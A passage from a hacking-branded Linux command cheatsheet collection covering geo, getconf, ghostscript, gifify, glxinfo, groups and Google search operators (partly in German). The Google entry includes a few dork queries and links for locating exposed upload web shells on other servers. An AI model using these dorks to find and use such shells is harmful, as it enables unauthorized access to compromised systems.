░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
43 - 🖥️geo
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the geo command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ ██████╗
# ██╔════╝ ██╔════╝██╔═══██╗
# ██║ ███╗█████╗ ██║ ██║
# ██║ ██║██╔══╝ ██║ ██║
# ╚██████╔╝███████╗╚██████╔╝
# ╚═════╝ ╚══════╝ ╚═════╝
# geo (Bash-Snippets)
# Provides quick access for wan, lan, router, dns, mac, and ip geolocation data.
# Get your wireless area network ip address
geo -w
# Get your local area network ip address(es)
geo -l
# Get your router ip address
geo -r
# Get your DNS name server
geo -d
# Get mac address for supplied interface
geo -m eth0
# Get your current ip address geodata
geo -g
# Combine options
geo -wlrdgm eth0
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command geo in a clear format. This allows users to quickly access the needed information for geo without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for geo are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
44 - 🖥️getconf
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the getconf command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗████████╗ ██████╗ ██████╗ ███╗ ██╗███████╗
# ██╔════╝ ██╔════╝╚══██╔══╝██╔════╝██╔═══██╗████╗ ██║██╔════╝
# ██║ ███╗█████╗ ██║ ██║ ██║ ██║██╔██╗ ██║█████╗
# ██║ ██║██╔══╝ ██║ ██║ ██║ ██║██║╚██╗██║██╔══╝
# ╚██████╔╝███████╗ ██║ ╚██████╗╚██████╔╝██║ ╚████║██║
# ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝
getconf -a | sort -k2nr | grep MAX
# Know your limits.
#==============================##==============================#
# CMD GETCONF #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command getconf in a clear format. This allows users to quickly access the needed information for getconf without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for getconf are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
45 - 🖥️ghostscript
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ghostscript command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗███████╗ ██████╗██████╗ ██╗██████╗ ████████╗
# ██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝
# ██║ ███╗███████║██║ ██║███████╗ ██║ ███████╗██║ ██████╔╝██║██████╔╝ ██║
# ██║ ██║██╔══██║██║ ██║╚════██║ ██║ ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║
# ╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ███████║╚██████╗██║ ██║██║██║ ██║
# ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
# Resize PDFs. Very useful command for
ghostscript -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -dQUIET -dBATCH -sOutputFile=out.pdf in.pdf
#==============================##==============================#
# CMD ghostscript #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ghostscript in a clear format. This allows users to quickly access the needed information for ghostscript without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ghostscript are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
46 - 🖥️gifify
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the gifify command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗███████╗██╗███████╗██╗ ██╗
# ██╔════╝ ██║██╔════╝██║██╔════╝╚██╗ ██╔╝
# ██║ ███╗██║█████╗ ██║█████╗ ╚████╔╝
# ██║ ██║██║██╔══╝ ██║██╔══╝ ╚██╔╝
# ╚██████╔╝██║██║ ██║██║ ██║
# ╚═════╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
# gifify
#
# Convert any video file to an optimized animated GIF
# convert MP4 ${input_mp4} to GIF ${output_gif}
gifify ${input_mp4} --from 00:00:01.200 -o ${output_gif}
# convert MP4 ${input_mp4} to GIF ${output_gif}, skip first 1.2 seconds
gifify ${input_mp4} --from 00:00:01.200 -o ${output_gif}
# convert MP4 ${input_mp4} to GIF ${output_gif}, resize it to width 800
gifify /tmp/output.mp4 --resize 800:-1 -o /tmp/output.gif
# convert MP4 to GIF and add subtitles from the ASS file
gifify ${input_mp4} -o ${output_gif} --subtitles ${file_ass}
# convert MP4 to GIF and add text "${subtitle_text}" as a subtitle
gifify ${input_mp4} -o ${output_gif} --text "${subtitle_text}"
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command gifify in a clear format. This allows users to quickly access the needed information for gifify without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for gifify are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
47 - 🖥️glxinfo
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the glxinfo command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗ ██╗██╗███╗ ██╗███████╗ ██████╗
# ██╔════╝ ██║ ╚██╗██╔╝██║████╗ ██║██╔════╝██╔═══██╗
# ██║ ███╗██║ ╚███╔╝ ██║██╔██╗ ██║█████╗ ██║ ██║
# ██║ ██║██║ ██╔██╗ ██║██║╚██╗██║██╔══╝ ██║ ██║
# ╚██████╔╝███████╗██╔╝ ██╗██║██║ ╚████║██║ ╚██████╔╝
# ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝
glxinfo | grep "OpenGL renderer"
# OpenGL renderer string: Mesa DRI Intel(R) HD Graphics 5500 (Broadwell GT2)
game glxinfo | grep "OpenGL renderer"
# OpenGL renderer string: AMD HAINAN (DRM 2.50.0, 4.18.0-14-generic, LLVM 7.0.0)
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command glxinfo in a clear format. This allows users to quickly access the needed information for glxinfo without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for glxinfo are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
48 - 🖥️google
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the google command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ███████╗
# ██╔════╝ ██╔═══██╗██╔═══██╗██╔════╝ ██║ ██╔════╝
# ██║ ███╗██║ ██║██║ ██║██║ ███╗██║ █████╗
# ██║ ██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝
# ╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗
# ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝
# File types indexable by Google
#-----------------------------------------------------------------------///
# Google can index the content of most types of pages and files. The most common file types we index include:
Adobe Flash (.swf)
Adobe Portable Document Format (.pdf)
Adobe PostScript (.ps)
Autodesk Design Web Format (.dwf)
Google Earth (.kml, .kmz)
GPS eXchange Format (.gpx)
Hancom Hanword (.hwp)
HTML (.htm, .html, other file extensions)
Microsoft Excel (.xls, .xlsx)
Microsoft PowerPoint (.ppt, .pptx)
Microsoft Word (.doc, .docx)
OpenOffice presentation (.odp)
OpenOffice spreadsheet (.ods)
OpenOffice text (.odt)
Rich Text Format (.rtf, .wri)
Scalable Vector Graphics (.svg)
TeX/LaTeX (.tex)
Text (.txt, .text, other file extensions), including source code in common programming languages:
Basic source code (.bas)
C/C++ source code (.c, .cc, .cpp, .cxx, .h, .hpp)
C# source code (.cs)
Java source code (.java)
Perl source code (.pl)
Python source code (.py)
Wireless Markup Language (.wml, .wap)
XML (.xml)
# When you use the filetype: operator in a Google search (for example, filetype:xml galway), Google searches for files with the .xml extension, not for files of file type XML.
# Not all URLs or pages have the .html file extension. Some pages (like http://www.google.com) have no extension at all, and some have an extension that doesnt match their file type. Limiting your search to a specific file type will return pages with that file extension, and may return fewer relevant results.
# GoogleSearch
# 1. This or that
# 2. Use synonyms For searching: serchterm ~searchsynonym
# 3. Searching inside websites: website.com searchterm
# 4. Forgot lots of words: using "AROUND + (the approximate number of missing words)" between them. For example, "I played AROUND(7) ground."
# 5. The mighty asterisk: Just include "*" in place of the word
# 6. Searching for a page title or specific URL: If you want to search for a specific page title or just want to search the URL for the keyword you used, you can type “intitle:“ before the search term. To find the words from a URL, use ”inurl:”.
# 7. Use a time frame: In place of the year just type the boundaries you remember separated with three dots(‘.’ ).: Linux Meilensteine 1900...2000
# 8. Find similar websites: you can just type “related:” and then the address of the site you liked without spacing between them.: related:php-faq.eu
# 9. Searching a whole phrase: Writing the text inside quotation marks is one of the simplest ways to search for the information that is in the form of a sentence or a phrase.: "This is a searchphrase"
# 10. Remove unimportant search words: you can select a word and search for the websites that do not contain the specific word.: linux books -buy
#
#################### Google Dorks um nach remoteshell zu suchen ################################
#
#
#intitle:index of/sh3llZ
#"index of /sh3llZ"
#"/sh3llZ/uploadshell/uploadshell.php"
#
#http://www.devilscafe.in/search?q=shell
#http://3xp1r3.blogspot.de/2012/02/index-of-sh3llz-upload-your-shell.html
#http://3xp1r3.blogspot.de/
Was sind die Suchoperatoren?
Die Suchoperatoren sind Parameter, die zusammen mit einem Keyword und/oder Domain in den Suchschlitz bei Google eingegeben werden können, um präzisere Suchergebnisse zu erhalten. Dies Suchoperatoren stammen aus einer Zeit, in der Google noch nicht so leistungsstark war und diese Suchoperatoren als Hilfe bereitgestellt wurden. Vielen Nutzern sind diese Operatoren allerdings nicht bekannt. Den SEOs schon eher. Die Suchoperatoren gehören zum Handwerkszeug eines jeden Suchmaschinenoptimierers.
Die Basis Google Suchoperatoren
Die Basisoperatoren bestehen aus einzelnen Zeichen, die um das gesuchten Keyword bzw. die Keywordkombinationen „herum gelegt“ werden.
Die folgende Liste zeigt die Basis-Suchoperatoren und veranschaulicht diese an einem kurzen Beispiel:
+ mit dem Plus Zeichen können mehrere Begriffe miteinander verbunden werden, um gezielter zu suchen (entspricht der Standardsuche bei Google), z.B. “Blog+Kommentare”
– mit dem Minus werden Suchbegriffe ausgeschlossen, z.B. “Jaguar -Auto” gibt nur Ergebnisse mit Jaguar, aber ohne Auto aus.
| mit dem Pipe Symbol können Begriffe separiert werden (entweder das eine oder das andere), z.B. “Reis + Soße | Nudeln”
“ „ Die exakte Phrase wird gesucht, z.B. “ Angela Merkel“ -> Angela Dorothea Merkel würde nicht angezeigt, da das Dorothea stört.
* der Stern wird auch Wildcard Suche genannt, damit kann man Begriffe ersetzen, die nicht bekannt sind, z.B. “Nudeln mit *” .. mit zwei Punkten kann eine ”von – bis” Suche gestartet werden, z.B. “Fussballschuh € 100..200″
Erweiterte Google Suchoperatoren
Die zweite Gruppe sind die erweiterten Suchoperatoren für die Googlesuche. Sie helfen dabei die Ergebnisse z.B. auf eine bestimmte Zeit einzuschränken oder generell Informationen einer Webseite oder eines Begriffes anzuzeigen.
Eine große Anzahl der Operatoren dieser Kategorie kann teilweise sehr hilfreich für Online-Marketing-Betreibende sein, um Backlinkquellen ausfindig zu machen und die Wettbewerbssituation sowie den Grad und das Ausmaß der Arbeit, die SEO-Kampagnen erfordern, zu bestimmen. Die Ergebnisse können in weiterer Folge u.a. zum Linkaufbau genutzt werden.
Es folgt eine Liste und eine kurze Beschreibung der erweiterten Google Suchoperatoren:
Suchoperator „allinanchor“
Wenn man den Suchbegriffen den Operator allinanchor: voranstellt, zeigt Google nur diejenigen Seiten an, bei denen die darauf verweisenden Links alle gewünschten Keywords im Linktext enthalten.
Beispiel: Die Suche nach “allinanchor: top football player” gibt nur Seiten aus, auf die mit den Wörtern “top”, “football” und “player” verlinkt wird. Beim Benutzen von allinanchor: bitte keine weitern Operatoren benutzen.
Suchoperator „allintext“
Mit diesem Operator werden nur Ergebnisse angezeigt, in denen alle angegebenen Keywords im Text der Seite vorkommen. Es müssen alle Begriffe im Seitentext vorkommen, der Seitentitel, die Adresse, etc. werden nicht berücksichtigt.
Beispiel: “allintext:Worldcup Brasilien Sieger” gibt nur Seiten aus, in deren Text “Worldcup”, “Brasilien” und “Sieger” vorkommen.
Suchoperator „allintitle“
allintitle: zeigt Seiten, in deren Titel sich alle Begriffe, die nach allintitle: angegeben werden, befinden. Der Titel einer Seite steht in der Regel im Fenstertitel des Browsers vor dem Browsernamen angezeigt. Außerdem ist er in den Suchergebnissen der Linktext jedes Ergebnisses. Bei der Bildersuche werden mit allintitle: Bilder angezeigt, in deren Dateinamen sich die angegebenen Begriffe befinden, bei Google News muss der Artikel-Titel diese Begriffe enthalten, um angezeigt zu werden.
Suchoperator „allinurl“
Der Operator allinurl: begrenzt Suchergebnisse auf Seiten, in deren URL alle angegebenen Keywords vorkommen.
Beispiel: “allinurl:sem agentur” findet nur Seiten, in deren URL sowohl “sem” als auch “agentur” vorkommt, also z.B. https://www.sem-deutschland.de/suchmaschinenmarketing-sem-agentur/.
Achtung: In Google News findet Google damit auch Artikel, die diese Wörter in ihrem Titel tragen.
Suchoperator „cache“
cache:URL zeigt Googles Cache-Version der angegebenen Webseite an.
Beispiel: “cache:www.fussball.de ” zeigt nicht die aktuelle Version von fussball.de an, sondern eine ältere Version aus dem Google-Cache. Fügt man der Suchanfrage nach dem Operator zusätzliche Begriffe zu, markiert Google diese in der Cache-Version. Der Cache ist eine Art Zwischenspeicher, in dem Webseiten gespeichert werden, die von Google indexiert wurden. Diese Funktion kann praktisch sein, wenn die aktuelle Version der Seite gerade nicht verfügbar ist.
Suchoperator „define“
Benutzt man diesen Suchoperator, zeigt Google Definitionen aus verschiedenen Quellen (inklusive Links zu den Quellen) an.
Beispiel: “define:webseite” zeigt diverse Definitionen von “Webseite” an.
Suchoperator „filetype“
Mit diesem Operator lassen sich Ergebnisse auf bestimmte Formate begrenzen. Die Syntax lautet filetype:suffix. Beispiel: “ballack leverkusen kroos deutschland filetype:pdf” findet PDF-Dateien, in denen die Suchbegriffe vorkommen. Mit dem Operator | können auch mehrere Formate zugelassen werden: “messi unglaublich ronaldo filetype:pdf | filetype:doc” findet Dateien in den Formaten PDF und DOC, in denen die Suchwörter vorkommen.
Suchoperator „inanchor“
Dieser Operator liefert Seiten, die mit einem Text verlinkt sind, in dem das gesuchte Wort vorkommt. Beispiel: “schwimmbad inanchor:sauber” findet Seiten, die das Wort “schwimmbad” enthalten und auf denen die Links, die auf diese Seiten verweisen, das Wort “sauber” beinhalten.
Suchoperator „info“
Mit info:URL lassen sich Informationen zu der angegebenen Seite anzeigen. Beispiel: info:michael-ballack.com zeigt Infos über diese Webseite.
Suchoperator „intext“
Eine Suchabfrage nach intext:Laufen findet Dokumente, in deren Text “Laufen” vorkommt. intext: vor jedes Wort zu setzen hat den gleichen Effekt, wie allintext:.
Suchoperator „intitle“
Eine Suchabfrage nach intitle:Laufen findet Dokumente, in deren Titel Laufen vorkommt. Zum Beispiel findet “michael ballack intitle:impressum” nur Dokumente, in denen “michael ballack” irgendwo und “impressum” im Titel vorkommt. Vor jedes Suchwort intitle: zu schreiben hat den gleichen Effekt wie allintitle:.
Suchoperator „inurl“
inurl:Trinken findet Dokumente, in deren URL Trinken vorkommt.
Zum Beispiel findet “inurl:erfolge site:dieter-bohlen.net” nur Dokumente, die in der Rubrik “Erfolge” abgelegt sind und deren Adresse deshalb so aufgebaut ist: http://dieter-bohlen.net/erfolge/. Vor jedes Suchwort inurl: zu schreiben hat den gleichen Effekt wie allinurl:.
Suchoperator „location“
location: zeigt bei Google News (http://news.google.de/) nur Nachrichten vom angegeben Ort an. Beispiel: “fussball location:germany“.
Suchoperator „movie“
movie: zeigt das Kinoprogramm in der angegebenen Stadt an, bzw. wann und in welchem Kino in der angegebenen Stadt der angegebene Film läuft. Beispiel: “movie:”Captain America” berlin“.
Suchoperator „phonebook“
phonebook: zeigt Informationen aus öffentlichen Telefonbüchern an. Leider funktioniert dieser Operator zurzeit nur mit US-Telefonbüchern. Beispiel: “phonebook:martin howard New York NY“.
Mit related:URL kann man sich Seiten anzeigen lassen, die ähnlich zu der sind, die man angegeben hat. Beispiel: “related:www.lionelmessi.com“.
Diese Funktion ist auch über den “Ähnliche Seiten”-Link in den Suchergebnissen verfügbar.
Suchoperator „site“
site: zeigt alle bei Google indexierten Seiten einer Domain an. Zudem ist es mit site: möglich, Ergebnisse auf Dokumente der Domain oder der Site zu beschränken, die man angegeben hat.
Beispiel: “goal site:www.lionelmessi.com“.
Suchoperator „source“
Durch den Operator source: können Ergebnisse bei Google News eingeschränkt werden. Beispiel: “Tor source:sport1” zeigt nur Nachrichten des Sport1 Newstickers, in denen das Wort “Tor” vorkommt.
Suchoperator „weather“
Der Suchbegriff weather:Ort zeigt Wetterinformationen an, wenn der Ort von Google erkannt wird.
Beispiel: “weather:barcelona“.
Bei der Anwendung der erweiterten Suchoperatoren sollte darauf geachtet werden, dass die Keywords, ohne Leerzeichen, immer direkt hinter dem Doppelpunkt des jeweiligen Operators stehen. Zudem ist es ab und an notwendig, den Operator innerhalb der Search-Query, so weit wie möglich nach rechts zu stellen, da einige sonst nicht funktionieren.
·+ mit dem Plus Zeichen können mehrere Begriffe miteinander verbunden werden um gezielter zu suchen (entspricht der Standardsuche bei Google), z.B. “Blog+Kommentare”
·– mit dem Minus werden Suchbegriffe ausgeschlossen, z.B. “Blog-Kommentar” gibt nur Ergebnisse mit Blog, aber ohne Kommentar aus.
·| mit dem Pipe Symbol können Begriffe separiert werden (entweder das eine oder das andere), z.B. “Reis + Soße | Nudeln”
·“ “ Die exakte Phrase wird gesucht, z.B. “ Angela Merkel“ -> Angela Dorothea Merkel würde nicht angezeigt, da das Dorothea stört.
·~ mit dem Unendlich Symbol kann nach ähnlichen Begriffen oder Synonymen gesucht werden, z.B. “~einkaufen”
·* der Stern wird auch Wildcar Suche genannt, damit kann man Begriffe ersetzen die nicht bekannt sind, z.B. “Nudeln mit *”
·.. mit zwei Punkten kann eine ”von – bis” Suche gestartet werden, z.B. “Fussballschuh € 100..200″
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command google in a clear format. This allows users to quickly access the needed information for google without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for google are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
49 - 🖥️groups
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the groups command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ ███████╗
# ██╔════╝ ██╔══██╗██╔═══██╗██║ ██║██╔══██╗██╔════╝
# ██║ ███╗██████╔╝██║ ██║██║ ██║██████╔╝███████╗
# ██║ ██║██╔══██╗██║ ██║██║ ██║██╔═══╝ ╚════██║
# ╚██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ███████║
# ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
Groups
The groups command displays the name of groups a user is part of.
groups himanshu
himanshu : himanshu adm cdrom sudo dip plugdev lpadmin sambasha
#==============================##==============================#
# CMD GROUPS #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command groups in a clear format. This allows users to quickly access the needed information for groups without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for groups are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
